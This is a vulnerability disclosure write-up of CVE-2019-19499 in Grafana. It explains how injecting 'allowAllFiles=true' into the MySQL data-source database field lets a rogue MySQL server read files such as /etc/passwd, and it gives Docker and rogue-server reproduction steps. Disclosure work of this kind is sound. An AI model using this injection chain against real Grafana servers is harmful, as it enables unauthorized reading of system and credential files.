Author
Grafana is an open-source application used for analytics, monitoring, and data visualization. Thousands of companies use Grafana, including major representatives such as PayPal, eBay, and Intel.
Last fall I found an Authenticated Arbitrary File Read vulnerability (CVE-2019-19499) in this system. Here I’ll share the details about how this vulnerability worked.
Exploring the Attack Surface
Grafana is able to build beautiful data visualizations and display them on the Dashboard page.
Everything you see in the dashboard Grafana takes from data sources. Grafana supports over 30 data sources, e.g., AWS CloudWatch, Elasticsearch, InfluxDB, MySQL, Prometheus. They are configured using the administrative credentials.
What caught my eye was that Grafana supports MySQL databases as a datasource:
Whenever you can specify your own MySQL server to an application, it makes sense to check the possibility of an attack based on rogue MySQL servers.
To explain how this attack works, let’s first talk about the LOAD DATA statement.
The LOAD DATA statement is used to read a file into a table line by line. In the following example, the file data.txt will be copied from the server’s data directory to the table my_table:
LOAD DATA INFILE 'data.txt' INTO TABLE my_table;
When the LOCAL modifier is set, the file is intended to be read from the client’s host and sent to the server. However, the client doesn’t know that the file needs to be sent when the LOCAL modifier is set, since SQL queries are parsed on the server side.
To understand how the MySQL protocol solves the issue with the LOCAL modifier, let’s examine the communications between a client and a server in such a situation:
When a server receives an SQL query containing LOAD DATA with the LOCAL modifier, it sends a LOCAL INFILE request (“0xFB + filename” request) to the client with the filename from the query. The client responds with the contents of this file and completes the transfer by sending an empty packet. In the end the server sends an OK response.
This means that the LOCAL INFILE requests can be sent by a MySQL server after any SQL query, and clients will respond with the requested file’s contents to them.
This security issue has been known since the early 2000s, and nowadays many MySQL client libraries are protected from such attacks. This was the case with Grafana, but I decided to look at its source code to find ways to bypass this protection.
Analysing Grafana Source Code
Grafana uses Go MySQL Driver for connecting to MySQL servers. This driver utilizes Data Source Name (DSN) strings for describing database connections with the following format:
username:password@protocol(address)/dbname?param=value
The driver has a built-in protection against LOCAL INFILE requests. To access the requested file, it must either be added to the allowlist by the RegisterLocalFile function, or alternately, the allowAllFiles parameter must be set to true in the DSN string.
Since altering the allowlist requires calling a function, our only option is to somehow set the allowAllFiles parameter in the DSN string when connecting to the MySQL server.
Let’s direct our attention to the newMysqlQueryEndpoint function, which is located in the /pkg/tsdb/mysql/mysql.go file:
func newMysqlQueryEndpoint(datasource *models.DataSource) (tsdb.TsdbQueryEndpoint, error) {
logger := log.New("tsdb.mysql")
protocol := "tcp"
if strings.HasPrefix(datasource.Url, "/") {
protocol = "unix"
}
cnnstr := fmt.Sprintf("%s:%s@%s(%s)/%s?collation=utf8mb4_unicode_ci&parseTime=true&loc=UTC&allowNativePasswords=true",
datasource.User,
datasource.DecryptedPassword(),
protocol,
datasource.Url,
datasource.Database,
)
...
config := sqleng.SqlQueryEndpointConfiguration{
DriverName: "mysql",
ConnectionString: cnnstr,
Datasource: datasource,
TimeColumnNames: []string{"time", "time_sec"},
MetricColumnTypes: []string{"CHAR", "VARCHAR", "TINYTEXT", "TEXT", "MEDIUMTEXT", "LONGTEXT"},
}
...
return sqleng.NewSqlQueryEndpoint(&config, &rowTransformer, newMysqlMacroEngine(logger), logger)
}You can see that you can affect the resulting DSN string, because there is no escaping being done on the datasource fields before passing them as arguments to Sprintf.
If we set the database name field as dbname?allowAllFiles=true&, the allowAllFiles parameter will be injected into the DSN string:
username:password@tcp(host)/dbname?allowAllFiles=true&?collation=utf8mb4_unicode_ci&parseTime=true&loc=UTC&allowNativePasswords=trueNow we have a way to disable the protection from LOCAL INFILE requests, so let’s move on to the full exploitation chain.
Exploitation
To test the vulnerability, you need to deploy a vulnerable version of Grafana. The easiest way to do this is by using a Docker container:
docker run --rm -d -p 3000:3000 grafana/grafana:6.4.3The Grafana server will be launched at http://localhost:3000/, and you will be able to get access to it using the default credentials which are admin:admin.
Next, let’s set up the software which we will use as a rogue MySQL server: the Rogue-MySql-Server script by allyshka. It’s a fork of the original rogue server by Gifts with additions to support modern MySQL servers.
git clone git@github.com:allyshka/Rogue-MySql-Server.git
cd Rogue-MySql-Server
php roguemysql.phpLaunch the roguemysql.php script and specify the path to the file you are interested in. It can be an absolute path or a relative path to the directory Grafana is running in.
The last step is to specify our server address in the Grafana web interface. Navigate to: Configuration → Data Sources → Add data source → MySQL. Fill the required fields and don’t forget to put the ?allowAllFiles=true& string after the database name.
And finally, after you click the Save & Test button, you will get your file’s content:
The Grafana server has connected to the rogue MySQL server, which has requested the /etc/passwd file to be read, and the Grafana server has transferred this file’s contents to us!
Conclusion
Many years have passed since the discovery of attacks based on rogue MySQL servers. New languages were developed, new applications written, protections put in place, but these attacks are still generating impact.
The disclosure timeline:
- October 28, 2019 – Reported to Grafana Labs
- November 6, 2019 – The patch was released
- November 6, 2019 – The Grafana 6.4.4 version was released
- August 27, 2020 – Public discourse
Links: